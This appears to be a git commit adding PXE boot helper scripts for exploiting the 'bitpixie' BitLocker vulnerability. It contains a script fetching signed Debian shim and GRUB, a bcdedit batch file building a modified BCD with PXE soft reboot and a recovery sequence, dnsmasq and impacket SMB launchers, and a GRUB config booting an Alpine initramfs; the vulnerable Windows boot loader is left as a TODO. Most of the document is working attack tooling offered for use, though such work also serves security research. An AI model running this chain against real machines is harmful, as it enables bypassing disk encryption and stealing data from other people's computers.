Add PXE boot helper scripts

Except for the Windows boot manager the necesary artifacts are downloaded
from public resources.

This work was done in parallel and drew some inspiration from similar
avenues by Andreas Grasser.

 https://github.com/andigandhi/bitpixie

pxe/README.md

@@ -0,0 +1,24 @@
+This prepares a PXE boot environment to exploit the bitpixie vulnerability.
+
+The kernel (`linux`) and initramfs (`alpine-initrd.xz`) is expected to be provided externally,
+e.g. by running the scripts in the (corresponding linux directory](../linux).
+
+The `download.sh` script fetches the required components from public sources:
+ - `shimx64.efi` signed Debian shim
+ - `grubx64.efi` signed Debian GRUB boot loader
+ - TODO: `bootmgfw.efi` vulnerable Windows boot loader
+
+The `start-smb.sh` script starts an impacket based SMB server providing the 
+[`create-bcd.bat`](./smb/create-bcd.bat) script to generate a device specific
+BCD.
+
+The `start-pxe.sh` script starts `dnsmasq` with the needed options to serve
+the file from the [tftp](./tftp/) directory.
+
+```
+$ ./download.sh
+$ ./start-smb.sh
+$ ./start-pxe.sh eth0
+```
+
+This work was done in parallel and drew some inspiration from similar avenues by [Andreas Grasser](https://github.com/andigandhi/bitpixie/).

pxe/download-docker.sh

@@ -0,0 +1,28 @@
+#!/bin/sh
+set -e
+
+__() { printf "\n\033[1;32m* %s [%s]\033[0m\n" "$1" "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"; }
+
+__ "Installing required tools"
+
+apk add dpkg
+
+__ "Fetching Debian signed shim"
+
+wget "https://snapshot.debian.org/file/87601be283ef7209f6907d6e0df10aa29e5f4ede/shim-signed_1.44%2B15.8-1_amd64.deb" -O shim-signed.deb \
+    && echo '3a98352f0b01da23d059647e917eb0d6f1fd6dedb46a0e1b82c3c1e89871c1a1  shim-signed.deb' \
+    | sha256sum -c || exit 1
+
+dpkg-deb -x shim-signed.deb shim
+cp shim/usr/lib/shim/shimx64.efi.signed /mnt/tftp/shimx64.efi
+
+__ "Fetching Debian signed GRUB"
+
+wget "https://snapshot.debian.org/archive/debian/20240716T023930Z/pool/main/g/grub-efi-amd64-signed/grub-efi-amd64-signed_1%2B2.12%2B5_amd64.deb" -O grub.deb \
+    && echo '76c314a1d8b5075d8727fc301fc9d57e39dc25289d4bd912aa3d8ffebd17ac6b  grub.deb' \
+    | sha256sum -c || exit 1
+
+dpkg-deb -x grub.deb grub
+cp grub/usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed /mnt/tftp/grubx64.efi
+
+# TODO: Fetching vulnerable Windows boot loader

pxe/download.sh

@@ -0,0 +1,4 @@
+#!/bin/sh
+
+docker run --platform linux/amd64 --rm -v "$PWD":/mnt -w /root \
+    alpine:3.20.3 "/mnt/download-docker.sh"

pxe/smb/create-bcd.bat

@@ -0,0 +1,18 @@
+REM @echo off
+
+bcdedit /export BCD_modded
+
+bcdedit /store BCD_modded /create /d "softreboot" /application startup > GUID.txt
+for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
+del GUID.txt
+
+bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
+bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
+bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes
+
+bcdedit /store BCD_modded /set {default} recoveryenabled yes
+bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
+bcdedit /store BCD_modded /set {default} path "\\"
+bcdedit /store BCD_modded /set {default} winpe yes
+
+bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast

pxe/start-pxe.sh

@@ -0,0 +1,16 @@
+#!/bin/sh
+
+[ $# -eq 0 ] && echo "usage: $0 <interface>" && exit 1
+
+scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
+interface=$1
+
+sudo ip a add 10.13.37.100/24 dev $interface
+
+sudo dnsmasq --no-daemon \
+	--interface=$interface \
+	--dhcp-range=10.13.37.100,10.13.37.200,255.255.255.0,1h \
+	--dhcp-boot=bootmgfw.efi \
+	--enable-tftp \
+	--tftp-root="$scriptpath/tftp" \
+	--log-dhcp

pxe/start-smb.sh

@@ -0,0 +1,5 @@
+#!/bin/sh
+
+scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
+
+sudo $(which smbserver.py) -smb2support smb "$scriptpath/smb"

pxe/tftp/Boot/BCD

@@ -0,0 +1 @@
+../../smb/BCD

pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi

@@ -0,0 +1 @@
+../../../bootmgfw.efi

pxe/tftp/grub/grub.cfg

@@ -0,0 +1,9 @@
+set default="0"
+set timeout=1
+
+menuentry "Debian 5.14 with Alpine Initramfs" {
+ set gfxpayload=keep
+ linux   linux
+ initrd  alpine-initrd.xz
+ boot
+}